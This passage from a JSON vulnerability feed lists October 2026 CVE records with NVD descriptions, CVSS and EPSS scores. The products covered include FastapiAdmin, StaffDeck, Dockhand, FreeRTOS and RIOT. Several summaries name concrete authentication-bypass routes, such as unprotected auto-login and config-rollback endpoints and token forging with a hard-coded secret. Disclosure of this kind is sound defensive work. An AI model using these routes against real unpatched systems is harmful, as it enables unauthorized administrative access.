fixes.","publishedAt":"2026-10-16T18:17:48.077Z","updatedAt":"2026-10-23T16:16:51.090Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111663","asOf":"2026-10-23T16:16:51.090Z"},"epss":{"probability":0.00374,"percentile":0.31118,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111663&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111663","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111663","type":"primary","publishedAt":"2026-10-16T18:17:48.077Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111663&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111663, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111643","cveId":"CVE-2026-111643","aliases":[],"kind":"vulnerability","title":"Misaka Danmu Server through 2.8.9 contains an authentication bypass vulnerability that allows unauthenticated attackers to write arbitrary configuration keys via the unprotected...","summary":"Misaka Danmu Server through 2.8.9 contains an authentication bypass vulnerability that allows unauthenticated attackers to write arbitrary configuration keys via the unprotected POST /api/ui/config-history/rollback endpoint. Attackers can set the ipWhitelist key to their own /32 address, or alter trustedProxies and webhookApiKey, to access every protected endpoint as the administrator.","detail":"Misaka Danmu Server through 2.8.9 contains an authentication bypass vulnerability that allows unauthenticated attackers to write arbitrary configuration keys via the unprotected POST /api/ui/config-history/rollback endpoint. Attackers can set the ipWhitelist key to their own /32 address, or alter trustedProxies and webhookApiKey, to access every protected endpoint as the administrator.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:45.013Z","updatedAt":"2026-10-23T17:17:20.947Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111643","asOf":"2026-10-23T17:17:20.947Z"},"epss":{"probability":0.00581,"percentile":0.47471,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111643&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111643","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111643","type":"primary","publishedAt":"2026-10-16T18:17:45.013Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111643&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111643, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111641","cveId":"CVE-2026-111641","aliases":[],"kind":"vulnerability","title":"FastapiAdmin through 3.0 contains an authentication bypass vulnerability that allows unauthenticated attackers to obtain sessions for any user by abusing unprotected auto-login...","summary":"FastapiAdmin through 3.0 contains an authentication bypass vulnerability that allows unauthenticated attackers to obtain sessions for any user by abusing unprotected auto-login endpoints. Attackers can list users via /api/v1/auth/auto-login/users, mint a superuser auto-login token, and exchange it for a JWT session to gain full administrative control.","detail":"FastapiAdmin through 3.0 contains an authentication bypass vulnerability that allows unauthenticated attackers to obtain sessions for any user by abusing unprotected auto-login endpoints. Attackers can list users via /api/v1/auth/auto-login/users, mint a superuser auto-login token, and exchange it for a JWT session to gain full administrative control.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:44.730Z","updatedAt":"2026-10-16T22:17:21.500Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111641","asOf":"2026-10-16T22:17:21.500Z"},"epss":{"probability":0.00433,"percentile":0.3732,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111641&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111641","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111641","type":"primary","publishedAt":"2026-10-16T18:17:44.730Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111641&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111641, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111636","cveId":"CVE-2026-111636","aliases":[],"kind":"vulnerability","title":"OpenBMB StaffDeck through 0.5.6 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge administrator session tokens using the hard-coded...","summary":"OpenBMB StaffDeck through 0.5.6 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge administrator session tokens using the hard-coded default app_secret. Attackers can sign an HMAC-SHA256 token for the seeded 'admin' user in 'tenant_demo' to gain full tenant administration, including stored model and channel credentials.","detail":"OpenBMB StaffDeck through 0.5.6 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge administrator session tokens using the hard-coded default app_secret. Attackers can sign an HMAC-SHA256 token for the seeded 'admin' user in 'tenant_demo' to gain full tenant administration, including stored model and channel credentials.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:44.010Z","updatedAt":"2026-10-16T22:17:21.390Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111636","asOf":"2026-10-16T22:17:21.390Z"},"epss":{"probability":0.00402,"percentile":0.34164,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111636&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111636","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111636","type":"primary","publishedAt":"2026-10-16T18:17:44.010Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111636&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111636, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111626","cveId":"CVE-2026-111626","aliases":[],"kind":"vulnerability","title":"Webreaper Damselfly through 4.5.3 contains an authentication bypass vulnerability that allows unauthenticated attackers to access all /api/* routes because controller...","summary":"Webreaper Damselfly through 4.5.3 contains an authentication bypass vulnerability that allows unauthenticated attackers to access all /api/* routes because controller authorization attributes are commented out. Attackers can send PUT /api/users with Admin roles to create administrator accounts, or POST /api/users to reset any user's password, gaining full control.","detail":"Webreaper Damselfly through 4.5.3 contains an authentication bypass vulnerability that allows unauthenticated attackers to access all /api/* routes because controller authorization attributes are commented out. Attackers can send PUT /api/users with Admin roles to create administrator accounts, or POST /api/users to reset any user's password, gaining full control.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:42.583Z","updatedAt":"2026-10-16T22:17:21.177Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111626","asOf":"2026-10-16T22:17:21.177Z"},"epss":{"probability":0.00445,"percentile":0.38434,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111626&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111626","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111626","type":"primary","publishedAt":"2026-10-16T18:17:42.583Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111626&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111626, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109588","cveId":"CVE-2026-109588","aliases":[],"kind":"vulnerability","title":"Numeric truncation of the buffer length in the MPU buffer authorization check in FreeRTOS-Kernel V11.3.0 and V11.3.1 on the Arm Cortex-R82 (Armv8-R AArch64) MPU port might allow,...","summary":"Numeric truncation of the buffer length in the MPU buffer authorization check in FreeRTOS-Kernel V11.3.0 and V11.3.1 on the Arm Cortex-R82 (Armv8-R AArch64) MPU port might allow, under certain conditions, an unprivileged task on MPU-enabled builds to read or write privileged kernel memory beyond the validated buffer window, via a stream buffer system call.\n\n\n\nTo remediate this issue, users should upgrade to version V11.3.2 or later.","detail":"Numeric truncation of the buffer length in the MPU buffer authorization check in FreeRTOS-Kernel V11.3.0 and V11.3.1 on the Arm Cortex-R82 (Armv8-R AArch64) MPU port might allow, under certain conditions, an unprivileged task on MPU-enabled builds to read or write privileged kernel memory beyond the validated buffer window, via a stream buffer system call.\n\n\n\nTo remediate this issue, users should upgrade to version V11.3.2 or later.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:31.457Z","updatedAt":"2026-10-20T19:17:28.967Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109588","asOf":"2026-10-20T19:17:28.967Z"},"epss":{"probability":0.00157,"percentile":0.0484,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109588&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109588","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109588","type":"primary","publishedAt":"2026-10-16T18:17:31.457Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109588&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109588, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109587","cveId":"CVE-2026-109587","aliases":[],"kind":"vulnerability","title":"Incorrect authorization in the Arm Cortex-R82 (Armv8-R AArch64) MPU port in FreeRTOS-Kernel V11.3.0 and V11.3.1 might allow an unprivileged task on MPU-enabled builds to read and...","summary":"Incorrect authorization in the Arm Cortex-R82 (Armv8-R AArch64) MPU port in FreeRTOS-Kernel V11.3.0 and V11.3.1 might allow an unprivileged task on MPU-enabled builds to read and write privileged kernel memory outside the regions assigned to it, via a buffer argument passed to an MPU system call.\n\n\n\nTo remediate this issue, users should upgrade to version V11.3.2 or later.","detail":"Incorrect authorization in the Arm Cortex-R82 (Armv8-R AArch64) MPU port in FreeRTOS-Kernel V11.3.0 and V11.3.1 might allow an unprivileged task on MPU-enabled builds to read and write privileged kernel memory outside the regions assigned to it, via a buffer argument passed to an MPU system call.\n\n\n\nTo remediate this issue, users should upgrade to version V11.3.2 or later.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:31.330Z","updatedAt":"2026-10-20T16:17:00.017Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109587","asOf":"2026-10-20T16:17:00.017Z"},"epss":{"probability":0.00138,"percentile":0.03109,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109587&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109587","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109587","type":"primary","publishedAt":"2026-10-16T18:17:31.330Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109587&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109587, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102551","cveId":"CVE-2026-102551","aliases":[],"kind":"vulnerability","title":"Improper verification of the source of a communication channel in the IPv6 Router Advertisement handler in Amazon FreeRTOS-Plus-TCP before V4.4.2 might allow a remote third-party...","summary":"Improper verification of the source of a communication channel in the IPv6 Router Advertisement handler in Amazon FreeRTOS-Plus-TCP before V4.4.2 might allow a remote third-party to influence an endpoint's IPv6 default gateway, on-link prefix, and address configuration via a crafted Router Advertisement.\n\n\n\nTo remediate this issue, users should upgrade to version V4.4.2.","detail":"Improper verification of the source of a communication channel in the IPv6 Router Advertisement handler in Amazon FreeRTOS-Plus-TCP before V4.4.2 might allow a remote third-party to influence an endpoint's IPv6 default gateway, on-link prefix, and address configuration via a crafted Router Advertisement.\n\n\n\nTo remediate this issue, users should upgrade to version V4.4.2.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:14.750Z","updatedAt":"2026-10-19T13:16:53.353Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102551","asOf":"2026-10-19T13:16:53.353Z"},"epss":{"probability":0.00273,"percentile":0.19512,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102551&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102551","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102551","type":"primary","publishedAt":"2026-10-16T18:17:14.750Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102551&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102551, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-57169","cveId":"CVE-2026-57169","aliases":[],"kind":"vulnerability","title":"Dockhand is a Docker management application.","summary":"Dockhand is a Docker management application. Prior to 1.0.34, the in-browser container terminal endpoint /api/containers/<id>/exec does not enforce authentication on the WebSocket upgrade request. When an unauthenticated attacker has network reach to Dockhand, knows a target container ID, and targets a container with an interactive shell, the attacker can open a raw WebSocket terminal session and execute commands inside a known target container. This allows unauthenticated command execution inside the container, with possible host compromise when the container has sensitive mounts or privileged execution. This issue is fixed in version 1.0.34.","detail":"Dockhand is a Docker management application. Prior to 1.0.34, the in-browser container terminal endpoint /api/containers/<id>/exec does not enforce authentication on the WebSocket upgrade request. When an unauthenticated attacker has network reach to Dockhand, knows a target container ID, and targets a container with an interactive shell, the attacker can open a raw WebSocket terminal session and execute commands inside a known target container. This allows unauthenticated command execution inside the container, with possible host compromise when the container has sensitive mounts or privileged execution. This issue is fixed in version 1.0.34.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T17:17:35.113Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Docker and containers"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-57169","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00304,"percentile":0.22968,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-57169&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-57169","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57169","type":"primary","publishedAt":"2026-10-16T17:17:35.113Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-57169&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-57169, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-49868","cveId":"CVE-2026-49868","aliases":[],"kind":"vulnerability","title":"RIOT is an open-source microcontroller operating system designed for Internet of Things devices and other embedded systems.","summary":"RIOT is an open-source microcontroller operating system designed for Internet of Things devices and other embedded systems. Prior to 2026.07, _parse_reply() in sys/net/application_layer/dhcpv6/client.c omits minimum-length validation before passing IA_PD and IA_NA option bodies to sub-option parsers. A malicious or compromised DHCPv6 server can send a REPLY with an option length smaller than the required structure while MODULE_DHCPV6_CLIENT_IA_PD is enabled, causing _parse_ia_pd_option to read past the option body, size_t underflow, and unbounded out-of-bounds heap reads that can crash the device and may expose or corrupt memory. This issue is fixed in version 2026.07.","detail":"RIOT is an open-source microcontroller operating system designed for Internet of Things devices and other embedded systems. Prior to 2026.07, _parse_reply() in sys/net/application_layer/dhcpv6/client.c omits minimum-length validation before passing IA_PD and IA_NA option bodies to sub-option parsers. A malicious or compromised DHCPv6 server can send a REPLY with an option length smaller than the required structure while MODULE_DHCPV6_CLIENT_IA_PD is enabled, causing _parse_ia_pd_option to read past the option body, size_t underflow, and unbounded out-of-bounds heap reads that can crash the device and may expose or corrupt memory. This issue is fixed in version 2026.07.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T17:17:34.963Z","updatedAt":"2026-10-21T03:17:19.597Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-49868","asOf":"2026-10-21T03:17:19.597Z"},"epss":{"probability":0.00371,"percentile":0.30775,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-49868&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-49868","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49868","type":"primary","publishedAt":"2026-10-16T17:17:34.963Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-49868&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-49868, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102693","cveId":"CVE-2026-102693","aliases":[],"kind":"vulnerability","title":"RIOT is an open-source microcontroller operating system designed for Internet of Things devices and other embedded systems.","summary":"RIOT is an open-source microcontroller operating system designed for Internet of Things devices and other embedded systems. Prior to 2026.04, the ATWINC15x0 driver's _atwinc15x0_sta_set_current_ssid function uses strcpy to copy an SSID without checking the destination size. When MODULE_ATWINC15X0_DYNAMIC_CONNECT is enabled, a nearby attacker can advertise a malformed or oversized SSID that is processed during Wi-Fi scanning, causing memory corruption and potentially a hard fault, denial of service, or code execution. This issue is fixed in version 2026.04.","detail":"RIOT is an open-source 